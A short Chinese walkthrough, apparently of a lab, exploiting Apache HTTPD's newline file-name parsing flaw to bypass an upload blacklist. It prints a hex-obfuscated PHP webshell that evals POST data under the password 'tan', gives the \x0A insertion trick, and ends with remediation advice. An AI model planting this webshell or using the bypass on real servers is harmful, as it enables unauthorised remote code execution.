Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A
将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
马子
<?php
phpinfo();
$a="6576616c2840245f504f53545b2774616e275d293b";
$b="";
for($i=0;$i<strlen($a)-1;$i+=2)
$b.=chr(hexdec($a[$i].$a[$i+1]));
@eval(`/***xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx***/`.$b); //密码 tan
?>
上传一个名为evil.php的文件,被拦截:
在evil.php后面插入一个\x0A
(注意,不能是\x0D\x0A
,只能是一个\x0A
),不再拦截:
输入0a后
重新发送后,不在拦截。访问马子并连接。
无回显说明文件存在,使用菜刀getshell即可
后端用了黑名单策略,所以shell.php0x0a可以轻松绕过检测,再利用Apache的换行解析漏洞,使得文件可以被成功解析成php文件,从而成功getshell
修复建议
升级到最新版本
或将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录执行脚本权限